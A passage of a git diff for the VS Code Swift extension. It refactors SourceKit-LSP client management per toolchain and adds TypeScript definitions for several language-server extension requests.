this.useLanguageClient(async client => { + await this.useLanguageClient(async client => { const uri = folderContext.folder; - this.subFolderWorkspaces = this.subFolderWorkspaces.filter(item => item !== uri); + this.subFolderWorkspaces = this.subFolderWorkspaces.filter( + item => item.folder !== uri + ); const workspaceFolder = { uri: client.code2ProtocolConverter.asUri(uri), name: FolderContext.uriName(uri), }; - client.sendNotification(langclient.DidChangeWorkspaceFoldersNotification.type, { + await client.sendNotification(DidChangeWorkspaceFoldersNotification.type, { event: { added: [], removed: [workspaceFolder] }, }); }); } + this.addedFolders = this.addedFolders.filter(item => item.folder !== folderContext.folder); } private async addSubFolderWorkspaces(client: LanguageClient) { - for (const uri of this.subFolderWorkspaces) { + for (const folderContext of this.subFolderWorkspaces) { const workspaceFolder = { - uri: client.code2ProtocolConverter.asUri(uri), - name: FolderContext.uriName(uri), + uri: client.code2ProtocolConverter.asUri(folderContext.folder), + name: FolderContext.uriName(folderContext.folder), }; - client.sendNotification(langclient.DidChangeWorkspaceFoldersNotification.type, { + await client.sendNotification(DidChangeWorkspaceFoldersNotification.type, { event: { added: [workspaceFolder], removed: [] }, }); } } - /** Set folder for LSP server - * + /** + * Set folder for LSP server. * If server is already running then check if the workspace folder is the same if * it isn't then restart the server using the new workspace folder. */ - private async setLanguageClientFolder(uri?: vscode.Uri, forceRestart = false) { + async setLanguageClientFolder(folder: FolderContext, forceRestart = false) { + const uri = folder.folder; if (this.languageClient === undefined) { - this.currentWorkspaceFolder = uri; - this.restartedPromise = this.setupLanguageClient(uri); + this.currentWorkspaceFolder = folder; + this.restartedPromise = this.setupLanguageClient(folder); return; } else { // don't check for undefined uri's or if the current workspace is the same if we are // running a single server. The only way we can get here while using a single server // is when restart is called. if (!this.singleServerSupport) { - if (uri === undefined || (this.currentWorkspaceFolder === uri && !forceRestart)) { + if (this.currentWorkspaceFolder?.folder === uri && !forceRestart) { return; } } - let workspaceFolder: vscode.WorkspaceFolder | undefined; - if (uri) { - workspaceFolder = { - uri: uri, - name: FolderContext.uriName(uri), - index: 0, - }; - } - this.restartLanguageClient(workspaceFolder); + await this.restartLanguageClient(folder); } } + /** + * Wait for the LSP to indicate it is done indexing + */ + async waitForIndex(): Promise { + const requestType = this.swiftVersion.isGreaterThanOrEqual(new Version(6, 2, 0)) + ? WorkspaceSynchronizeRequest.type + : PollIndexRequest.type; + + await this.useLanguageClient(async (client, token) => + client.sendRequest( + requestType, + requestType.method === WorkspaceSynchronizeRequest.type.method + ? { index: true } + : {}, + token + ) + ); + } + /** * Restart language client using supplied workspace folder * @param workspaceFolder workspace folder to send to server * @returns when done */ - private async restartLanguageClient(workspaceFolder: vscode.WorkspaceFolder | undefined) { + private async restartLanguageClient(workspaceFolder: FolderContext) { // count number of setLanguageClientFolder calls waiting on startedPromise this.waitingOnRestartCount += 1; // if in the middle of a restart then we have to wait until that @@ -305,53 +359,64 @@ export class LanguageClientManager { const client = this.languageClient; // language client is set to null while it is in the process of restarting this.languageClient = null; - this.currentWorkspaceFolder = workspaceFolder?.uri; + this.currentWorkspaceFolder = workspaceFolder; this.legacyInlayHints?.dispose(); this.legacyInlayHints = undefined; + this.peekDocuments?.dispose(); + this.peekDocuments = undefined; + this.getReferenceDocument?.dispose(); + this.getReferenceDocument = undefined; if (client) { this.cancellationToken?.cancel(); this.cancellationToken?.dispose(); this.restartedPromise = client .stop() .then(async () => { - await this.setupLanguageClient(workspaceFolder?.uri); + await this.setupLanguageClient(workspaceFolder); + + // Now that the client has been replaced, dispose the old client's output channel. + client.outputChannel.dispose(); }) - .catch(reason => { - this.workspaceContext.outputChannel.log(`${reason}`); + .catch(async reason => { + // error message matches code here https://github.com/microsoft/vscode-languageserver-node/blob/2041784436fed53f4e77267a49396bca22a7aacf/client/src/common/client.ts#L1409C1-L1409C54 + if (reason.message === "Stopping the server timed out") { + await this.setupLanguageClient(workspaceFolder); + } + this.folderContext.workspaceContext.logger.error(reason); }); + await this.restartedPromise; } } - private isActiveFileInFolder(uri: vscode.Uri): boolean { - if (vscode.window.activeTextEditor && vscode.window.activeTextEditor.document) { - // if active document is inside folder then setup language client - const activeDocPath = vscode.window.activeTextEditor.document.uri.fsPath; - if (isPathInsidePath(activeDocPath, uri.fsPath)) { - return true; - } + private async setupLanguageClient(folder: FolderContext) { + if (configuration.lsp.disable) { + this.languageClient = undefined; + return; } - return false; + const { client, errorHandler } = this.createLSPClient(folder); + return this.startClient(client, errorHandler); } - private setupLanguageClient(folder?: vscode.Uri): Promise { - const client = this.createLSPClient(folder); - return this.startClient(client); - } - - private createLSPClient(folder?: vscode.Uri): langclient.LanguageClient { + private createLSPClient(folder: FolderContext): { + client: LanguageClient; + errorHandler: SourceKitLSPErrorHandler; + } { + const toolchain = folder.toolchain; + const toolchainSourceKitLSP = toolchain.getToolchainExecutable("sourcekit-lsp"); const lspConfig = configuration.lsp; const serverPathConfig = lspConfig.serverPath; - const serverPath = - serverPathConfig.length > 0 ? serverPathConfig : getSwiftExecutable("sourcekit-lsp"); + const serverPath = serverPathConfig.length > 0 ? serverPathConfig : toolchainSourceKitLSP; + const buildFlags = toolchain.buildFlags; const sdkArguments = [ - ...swiftDriverSDKFlags(true), - ...filterArguments( - configuration.buildArguments.concat(buildPathFlags()), + ...buildFlags.swiftDriverSDKFlags(true), + ...buildFlags.swiftDriverTargetFlags(true), + ...BuildFlags.filterArguments( + configuration.buildArguments.concat(buildFlags.buildPathFlags()), LanguageClientManager.buildArgumentFilter ), ]; - const sourcekit: langclient.Executable = { + const sourcekit: Executable = { command: serverPath, args: lspConfig.serverArguments.concat(sdkArguments), options: { @@ -368,97 +433,267 @@ export class LanguageClientManager { if ( serverPathConfig.length > 0 && configuration.path.length > 0 && - serverPathConfig !== getSwiftExecutable("sourcekit-lsp") + serverPathConfig !== toolchainSourceKitLSP ) { - // if configuration has custom swift path then set toolchain path - if (configuration.path) { - // eslint-disable-next-line @typescript-eslint/naming-convention - sourcekit.options = { - env: { - ...sourcekit.options?.env, - SOURCEKIT_TOOLCHAIN_PATH: this.workspaceContext.toolchain.toolchainPath, - }, - }; - } + // eslint-disable-next-line @typescript-eslint/naming-convention + sourcekit.options = { + env: { + ...sourcekit.options?.env, + SOURCEKIT_TOOLCHAIN_PATH: toolchain.toolchainPath, + }, + }; } - const serverOptions: langclient.ServerOptions = sourcekit; + const serverOptions: ServerOptions = sourcekit; let workspaceFolder = undefined; - if (folder) { - workspaceFolder = { uri: folder, name: FolderContext.uriName(folder), index: 0 }; + if (folder && !this.singleServerSupport) { + workspaceFolder = { + uri: folder.folder, + name: FolderContext.uriName(folder.folder), + index: 0, + }; } - const clientOptions: langclient.LanguageClientOptions = { - documentSelector: LanguageClientManager.documentSelector, - revealOutputChannelOn: langclient.RevealOutputChannelOn.Never, - workspaceFolder: workspaceFolder, - middleware: { - provideDocumentSymbols: async (document, token, next) => { - const result = await next(document, token); - const documentSymbols = result as vscode.DocumentSymbol[]; - if (this.documentSymbolWatcher && documentSymbols) { - this.documentSymbolWatcher(document, documentSymbols); - } - return result; - }, - }, - }; - return new langclient.LanguageClient( - "sourcekit-lsp", - "SourceKit Language Server", - serverOptions, - clientOptions + const errorHandler = new SourceKitLSPErrorHandler(5); + const clientOptions: LanguageClientOptions = lspClientOptions( + this.swiftVersion, + this.folderContext.workspaceContext, + workspaceFolder, + this.activeDocumentManager, + errorHandler, + (document, symbols) => { + const documentFolderContext = [this.folderContext, ...this.addedFolders].find( + folderContext => document.uri.fsPath.startsWith(folderContext.folder.fsPath) + ); + if (!documentFolderContext) { + this.languageClientOutputChannel?.warn( + "Unable to find folder for document: " + document.uri.fsPath + ); + return; + } + this.options.onDocumentSymbols?.(documentFolderContext, document, symbols); + } ); + + return { + client: this.languageClientFactory.createLanguageClient( + "swift.sourcekit-lsp", + `SourceKit Language Server (${this.folderContext.toolchain.swiftVersion.toString()})`, + serverOptions, + clientOptions + ), + errorHandler, + }; } - private async startClient(client: langclient.LanguageClient) { - client.onDidChangeState(e => { - // if state is now running add in any sub-folder workspaces that - // we have cached. If this is the first time we are starting then - // we won't have any sub folder workspaces, but if the server crashed - // or we forced a restart then we need to do this - if ( - e.oldState === langclient.State.Starting && - e.newState === langclient.State.Running - ) { - this.addSubFolderWorkspaces(client); - } - //console.log(e); + private async startClient(client: LanguageClient, errorHandler: SourceKitLSPErrorHandler) { + const runningPromise = new Promise((res, rej) => { + const disposable = client.onDidChangeState(e => { + // if state is now running add in any sub-folder workspaces that + // we have cached. If this is the first time we are starting then + // we won't have any sub folder workspaces, but if the server crashed + // or we forced a restart then we need to do this + if (e.oldState === State.Starting && e.newState === State.Running) { + res(); + disposable.dispose(); + void this.addSubFolderWorkspaces(client); + } else if (e.oldState === State.Starting && e.newState === State.Stopped) { + rej("SourceKit-LSP failed to start"); + disposable.dispose(); + } + }); }); if (client.clientOptions.workspaceFolder) { - this.workspaceContext.outputChannel.log( + this.folderContext.workspaceContext.logger.info( `SourceKit-LSP setup for ${FolderContext.uriName( client.clientOptions.workspaceFolder.uri )}` ); } else { - this.workspaceContext.outputChannel.log(`SourceKit-LSP setup`); + this.folderContext.workspaceContext.logger.info(`SourceKit-LSP setup`); } - // start client - this.clientReadyPromise = client - .start() - .then(() => { - if (this.workspaceContext.swiftVersion.isLessThan(new Version(5, 7, 0))) { + client.onNotification(SourceKitLogMessageNotification.type, params => { + this.logMessage(client, params as SourceKitLogMessageParams); + }); + + // Create and save the client ready promise + this.clientReadyPromise = (async () => { + try { + // start client + await client.start(); + await runningPromise; + + // Now that we've started up correctly, start the error handler to auto-restart + // if sourcekit-lsp crashes during normal operation. + errorHandler.enable(); + + if (this.swiftVersion.isLessThan(new Version(5, 7, 0))) { this.legacyInlayHints = activateLegacyInlayHints(client); } - }) - .catch(reason => { - this.workspaceContext.outputChannel.log(`${reason}`); - // if language client failed to initialise then shutdown and set to undefined - this.languageClient?.stop(); + + this.peekDocuments = activatePeekDocuments(client); + this.getReferenceDocument = activateGetReferenceDocument(client); + this.subscriptions.push(this.getReferenceDocument); + try { + if ( + checkExperimentalCapability( + client, + DidChangeActiveDocumentNotification.method, + 1 + ) + ) { + this.didChangeActiveDocument = + this.activeDocumentManager.activateDidChangeActiveDocument(client); + this.subscriptions.push(this.didChangeActiveDocument); + } + } catch { + // do nothing, the experimental capability is not supported + } + } catch (reason) { + this.folderContext.workspaceContext.logger.error( + `Error starting SourceKit-LSP: ${reason}` + ); + if (this.languageClient?.state === State.Running) { + await this.languageClient?.stop(); + } this.languageClient = undefined; throw reason; - }); + } + })(); this.languageClient = client; this.cancellationToken = new vscode.CancellationTokenSource(); return this.clientReadyPromise; } + + private logMessage(client: LanguageClient, params: SourceKitLogMessageParams) { + let logger: LSPLogger = client; + if (params.logName) { + const outputChannel = + this.namedOutputChannels.get(params.logName) ?? + new LSPOutputChannel(params.logName); + this.namedOutputChannels.set(params.logName, outputChannel); + logger = outputChannel; + } + switch (params.type) { + case MessageType.Info: + logger.info(params.message); + break; + case MessageType.Debug: + logger.debug(params.message); + break; + case MessageType.Warning: + logger.warn(params.message); + break; + case MessageType.Error: + logger.error(params.message); + break; + case MessageType.Log: + logger.info(params.message); + break; + } + } +} + +/** + * SourceKit-LSP error handler. Copy of the default error handler, except it includes + * an error message that asks if you want to restart the sourcekit-lsp server again + * after so many crashes + */ +export class SourceKitLSPErrorHandler implements ErrorHandler { + private restarts: number[]; + private enabled: boolean = false; + + constructor(private maxRestartCount: number) { + this.restarts = []; + } + /** + * Start listening for errors and requesting to restart the LSP server when appropriate. + */ + enable() { + this.enabled = true; + } + /** + * An error has occurred while writing or reading from the connection. + * + * @param _error - the error received + * @param _message - the message to be delivered to the server if know. + * @param count - a count indicating how often an error is received. Will + * be reset if a message got successfully send or received. + */ + error( + _error: Error, + _message: Message | undefined, + count: number | undefined + ): ErrorHandlerResult | Promise { + if (count && count <= 3) { + return { action: ErrorAction.Continue }; + } + return { action: ErrorAction.Shutdown }; + } + /** + * The connection to the server got closed. + */ + closed(): CloseHandlerResult | Promise { + if (!this.enabled) { + return { + action: CloseAction.DoNotRestart, + handled: true, + }; + } + + this.restarts.push(Date.now()); + if (this.restarts.length <= this.maxRestartCount) { + return { action: CloseAction.Restart }; + } else { + const diff = this.restarts[this.restarts.length - 1] - this.restarts[0]; + if (diff <= 3 * 60 * 1000) { + return new Promise(resolve => { + void vscode.window + .showErrorMessage( + `The SourceKit-LSP server crashed ${ + this.maxRestartCount + 1 + } times in the last 3 minutes. See the output for more information. Do you want to restart it again.`, + "Yes", + "No" + ) + .then(result => { + if (result === "Yes") { + this.restarts = []; + resolve({ action: CloseAction.Restart }); + } else { + resolve({ action: CloseAction.DoNotRestart }); + } + }); + }); + } else { + this.restarts.shift(); + return { action: CloseAction.Restart }; + } + } + } } /** Language client errors */ -export enum LanguageClientError { - LanguageClientUnavailable, +export const enum LanguageClientError { + LanguageClientUnavailable = "Language Client Unavailable", +} + +/** + * Returns `true` if the LSP supports the supplied `method` at or + * above the supplied `minVersion`. + */ +export function checkExperimentalCapability( + client: LanguageClient, + method: string, + minVersion: number +) { + const experimentalCapability = client.initializeResult?.capabilities.experimental; + if (!experimentalCapability) { + throw new Error(`${method} requests not supported`); + } + const targetCapability = experimentalCapability[method]; + return (targetCapability?.version ?? -1) >= minVersion; } diff --git a/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts b/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts new file mode 100644 index 000000000..44800f876 --- /dev/null +++ b/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts @@ -0,0 +1,151 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { FolderOperation, WorkspaceContext } from "../WorkspaceContext"; +import { isExcluded } from "../utilities/filesystem"; +import { Version } from "../utilities/version"; +import { LanguageClientFactory } from "./LanguageClientFactory"; +import { LanguageClientManager } from "./LanguageClientManager"; + +/** + * Manages the creation of LanguageClient instances for workspace folders. + * + * A LanguageClient will be created for each unique toolchain version. If two + * folders share the same toolchain version then they will share the same LanguageClient. + * This ensures that a folder always uses the LanguageClient bundled with its desired toolchain. + */ +export class LanguageClientToolchainCoordinator implements vscode.Disposable { + private subscriptions: vscode.Disposable[] = []; + private clients: Map = new Map(); + + public constructor( + workspaceContext: WorkspaceContext, + private options: { + onDocumentSymbols?: ( + folder: FolderContext, + document: vscode.TextDocument, + symbols: vscode.DocumentSymbol[] | null | undefined + ) => void; + } = {}, + languageClientFactory: LanguageClientFactory = new LanguageClientFactory() // used for testing only + ) { + this.subscriptions.push( + // stop and start server for each folder based on which file I am looking at + workspaceContext.onDidChangeFolders(async ({ folder, operation }) => { + await this.handleEvent(folder, operation, languageClientFactory); + }) + ); + + // Add any folders already in the workspace context at the time of construction. + // This is mainly for testing purposes, as this class should be created immediately + // when the extension is activated and the workspace context is first created. + for (const folder of workspaceContext.folders) { + void this.handleEvent(folder, FolderOperation.add, languageClientFactory); + } + } + + private async handleEvent( + folder: FolderContext | null, + operation: FolderOperation, + languageClientFactory: LanguageClientFactory + ) { + if (!folder) { + return; + } + if (isExcluded(folder.workspaceFolder.uri)) { + return; + } + const singleServer = folder.swiftVersion.isGreaterThanOrEqual(new Version(5, 7, 0)); + switch (operation) { + case FolderOperation.add: { + const client = await this.create(folder, singleServer, languageClientFactory); + await (singleServer + ? client.addFolder(folder) + : client.setLanguageClientFolder(folder)); + break; + } + case FolderOperation.remove: { + const client = await this.create(folder, singleServer, languageClientFactory); + await client.removeFolder(folder); + break; + } + case FolderOperation.focus: { + if (!singleServer) { + const client = await this.create(folder, singleServer, languageClientFactory); + await client.setLanguageClientFolder(folder); + } + break; + } + } + } + + /** + * Returns the LanguageClientManager for the supplied folder. + * @param folder + * @returns + */ + public get(folder: FolderContext): LanguageClientManager { + return this.getByVersion(folder.swiftVersion.toString()); + } + + /** + * Returns the LanguageClientManager for the supplied toolchain version. + * @param folder + * @returns + */ + public getByVersion(version: string): LanguageClientManager { + const client = this.clients.get(version); + if (!client) { + throw new Error( + "LanguageClientManager has not yet been created. This is a bug, please file an issue at https://github.com/swiftlang/vscode-swift/issues" + ); + } + return client; + } + + /** + * Stops all LanguageClient instances. + * This should be called when the extension is deactivated. + */ + public async stop() { + for (const client of this.clients.values()) { + await client.stop(); + } + this.clients.clear(); + } + + private async create( + folder: FolderContext, + singleServerSupport: boolean, + languageClientFactory: LanguageClientFactory + ): Promise { + const versionString = folder.swiftVersion.toString(); + let client = this.clients.get(versionString); + if (!client) { + client = new LanguageClientManager(folder, this.options, languageClientFactory); + this.clients.set(versionString, client); + // Callers that must restart when switching folders will call setLanguageClientFolder themselves. + if (singleServerSupport) { + await client.setLanguageClientFolder(folder); + } + } + return client; + } + + dispose() { + this.subscriptions.forEach(item => item.dispose()); + } +} diff --git a/src/sourcekit-lsp/didChangeActiveDocument.ts b/src/sourcekit-lsp/didChangeActiveDocument.ts new file mode 100644 index 000000000..b38ba7b62 --- /dev/null +++ b/src/sourcekit-lsp/didChangeActiveDocument.ts @@ -0,0 +1,75 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as langclient from "vscode-languageclient/node"; + +import { checkExperimentalCapability } from "./LanguageClientManager"; +import { DidChangeActiveDocumentNotification } from "./extensions/DidChangeActiveDocumentRequest"; + +/** + * Monitors the active document and notifies the LSP whenever it changes. + * Only sends notifications for documents that produce `textDocument/didOpen`/`textDocument/didClose` + * requests to the client. + */ +export class LSPActiveDocumentManager { + private openDocuments = new Set(); + private lastActiveDocument: langclient.TextDocumentIdentifier | null = null; + + // These are LSP middleware functions that listen for document open and close events. + public async didOpen( + document: vscode.TextDocument, + next: (data: vscode.TextDocument) => Promise + ) { + this.openDocuments.add(document.uri); + await next(document); + } + + public async didClose( + document: vscode.TextDocument, + next: (data: vscode.TextDocument) => Promise + ) { + this.openDocuments.delete(document.uri); + await next(document); + } + + public activateDidChangeActiveDocument(client: langclient.LanguageClient): vscode.Disposable { + // Fire an inital notification on startup if there is an open document. + this.sendNotification(client, vscode.window.activeTextEditor?.document); + + // Listen for the active editor to change and send a notification. + return vscode.window.onDidChangeActiveTextEditor(event => { + this.sendNotification(client, event?.document); + }); + } + + private sendNotification( + client: langclient.LanguageClient, + document: vscode.TextDocument | undefined + ) { + if (checkExperimentalCapability(client, DidChangeActiveDocumentNotification.method, 1)) { + const textDocument = + document && this.openDocuments.has(document.uri) + ? client.code2ProtocolConverter.asTextDocumentIdentifier(document) + : null; + + // Avoid sending multiple identical notifications in a row. + if (textDocument !== this.lastActiveDocument) { + void client.sendNotification(DidChangeActiveDocumentNotification.method, { + textDocument: textDocument, + }); + } + this.lastActiveDocument = textDocument; + } + } +} diff --git a/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts b/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts new file mode 100644 index 000000000..f2c4ee31b --- /dev/null +++ b/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts @@ -0,0 +1,33 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { MessageDirection, NotificationType, TextDocumentIdentifier } from "vscode-languageclient"; + +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ + +export interface DidChangeActiveDocumentParams { + /** + * The document that is being displayed in the active editor. + */ + textDocument?: TextDocumentIdentifier; +} + +/** + * Notify the server that the active document has changed. + */ +export namespace DidChangeActiveDocumentNotification { + export const method = "window/didChangeActiveDocument" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new NotificationType(method); +} diff --git a/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts b/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts new file mode 100644 index 000000000..e798a095e --- /dev/null +++ b/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts @@ -0,0 +1,53 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { + MessageDirection, + Position, + RequestType, + TextDocumentIdentifier, +} from "vscode-languageclient"; + +/** Parameters used to make a {@link DocCDocumentationRequest}. */ +export interface DocCDocumentationParams { + /** + * The document to render documentation for. + */ + textDocument: TextDocumentIdentifier; + + /** + * The document location at which to lookup symbol information. + * + * This parameter is only used in Swift files to determine which symbol to render. + * The position is ignored for markdown and tutorial documents. + */ + position: Position; +} + +/** + * The response from a {@link DocCDocumentationRequest} containing a single RenderNode + * that can be displayed in an editor via `swiftlang/swift-docc-render` + */ +export interface DocCDocumentationResponse { + renderNode: string; +} + +export namespace DocCDocumentationRequest { + export const method = "textDocument/doccDocumentation" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType( + method + ); +} diff --git a/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts b/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts new file mode 100644 index 000000000..f420ac85d --- /dev/null +++ b/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts @@ -0,0 +1,53 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { DocumentUri, MessageDirection, RequestType } from "vscode-languageclient"; + +/** Parameters used to make a {@link GetReferenceDocumentRequest}. */ +export interface GetReferenceDocumentParams { + /** The {@link DocumentUri} of the custom scheme url for which content is required. */ + uri: DocumentUri; +} + +/** Response containing `content` of a {@link GetReferenceDocumentRequest}. */ +export interface GetReferenceDocumentResult { + content: string; +} + +/** + * Request from the client to the server asking for contents of a URI having a custom scheme **(LSP Extension)** + * For example: "sourcekit-lsp:" + * + * - Parameters: + * - uri: The `DocumentUri` of the custom scheme url for which content is required + * + * - Returns: `GetReferenceDocumentResponse` which contains the `content` to be displayed. + * + * ### LSP Extension + * + * This request is an extension to LSP supported by SourceKit-LSP. + * + * Enable the experimental client capability `"workspace/getReferenceDocument"` so that the server responds with + * reference document URLs for certain requests or commands whenever possible. + */ +export namespace GetReferenceDocumentRequest { + export const method = "workspace/getReferenceDocument" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType< + GetReferenceDocumentParams, + GetReferenceDocumentResult, + never + >(method); +} diff --git a/src/sourcekit-lsp/extensions/GetTestsRequest.ts b/src/sourcekit-lsp/extensions/GetTestsRequest.ts new file mode 100644 index 000000000..09e745203 --- /dev/null +++ b/src/sourcekit-lsp/extensions/GetTestsRequest.ts @@ -0,0 +1,112 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { + Location, + MessageDirection, + RequestType0, + RequestType, + TextDocumentIdentifier, +} from "vscode-languageclient"; + +/** Test styles where test-target represents a test target that contains tests. */ +export type TestStyle = "XCTest" | "swift-testing" | "test-target"; + +/** Represents a single test returned from a {@link WorkspaceTestsRequest} or {@link TextDocumentTestsRequest}. */ +export interface LSPTestItem { + /** + * This identifier uniquely identifies the test case or test suite. It can be used to run an individual test (suite). + */ + id: string; + + /** + * Display name describing the test. + */ + label: string; + + /** + * Optional description that appears next to the label. + */ + description?: string; + + /** + * A string that should be used when comparing this item with other items. + * + * When `undefined` the `label` is used. + */ + sortText?: string; + + /** + * Whether the test is disabled. + */ + disabled: boolean; + + /** + * The type of test, eg. the testing framework that was used to declare the test. + */ + style: TestStyle; + + /** + * The location of the test item in the source code. + */ + location: Location; + + /** + * The children of this test item. + * + * For a test suite, this may contain the individual test cases or nested suites. + */ + children: LSPTestItem[]; + + /** + * Tags associated with this test item. + */ + tags: { id: string }[]; +} + +/** + * A request that returns symbols for all the test classes and test methods within the current workspace. + * + * ### LSP Extension + * + * This request is an extension to LSP supported by SourceKit-LSP. + * + * It requires the experimental client capability `"workspace/tests"` to use. + */ +export namespace WorkspaceTestsRequest { + export const method = "workspace/tests" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType0(method); +} + +/** Parameters used to make a {@link TextDocumentTestsRequest}. */ +export interface TextDocumentTestsParams { + textDocument: TextDocumentIdentifier; +} + +/** + * A request that returns symbols for all the test classes and test methods within a file. + * + * ### LSP Extension + * + * This request is an extension to LSP supported by SourceKit-LSP. + * + * It requires the experimental client capability `"textDocument/tests"` to use. + */ +export namespace TextDocumentTestsRequest { + export const method = "textDocument/tests" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} diff --git a/src/sourcekit-lsp/lspExtensions.ts b/src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts similarity index 50% rename from src/sourcekit-lsp/lspExtensions.ts rename to src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts index 4c16ff4f8..98d3b8916 100644 --- a/src/sourcekit-lsp/lspExtensions.ts +++ b/src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts @@ -1,33 +1,39 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { + MessageDirection, + Position, + Range, + RequestType, + TextDocumentIdentifier, +} from "vscode-languageclient"; -import * as langclient from "vscode-languageclient/node"; - -// Definitions for non-standard requests used by sourcekit-lsp - +/** Parameters used to make a {@link LegacyInlayHintRequest}. */ export interface LegacyInlayHintsParams { /** * The text document. */ - textDocument: langclient.TextDocumentIdentifier; + textDocument: TextDocumentIdentifier; /** * If set, the reange for which inlay hints are * requested. If unset, hints for the entire document * are returned. */ - range?: langclient.Range; + range?: Range; /** * The categories of inlay hints that are requested. @@ -36,12 +42,13 @@ export interface LegacyInlayHintsParams { only?: string[]; } +/** Inlay Hint (pre Swift 5.6) */ export interface LegacyInlayHint { /** * The position within the code that this hint is * attached to. */ - position: langclient.Position; + position: Position; /** * The hint's kind, used for more flexible client-side @@ -55,8 +62,9 @@ export interface LegacyInlayHint { label: string; } -export const legacyInlayHintsRequest = new langclient.RequestType< - LegacyInlayHintsParams, - LegacyInlayHint[], - unknown ->("sourcekit-lsp/inlayHints"); +/** Inlay Hints (pre Swift 5.6) */ +export namespace LegacyInlayHintRequest { + export const method = "sourcekit-lsp/inlayHints" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} diff --git a/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts b/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts new file mode 100644 index 000000000..3da0448fb --- /dev/null +++ b/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts @@ -0,0 +1,72 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { + DocumentUri, + Location, + MessageDirection, + Position, + RequestType, +} from "vscode-languageclient"; + +/** Parameters used to make a {@link PeekDocumentsRequest}. */ +export interface PeekDocumentsParams { + /** + * The `DocumentUri` of the text document in which to show the "peeked" editor + */ + uri: DocumentUri; + + /** + * The `Position` in the given text document in which to show the "peeked editor" + */ + position: Position; + + /** + * An array `DocumentUri` or `Location` of the documents to appear inside the "peeked" editor + */ + locations: DocumentUri[] | Location[]; +} + +/** Response to indicate the `success` of the 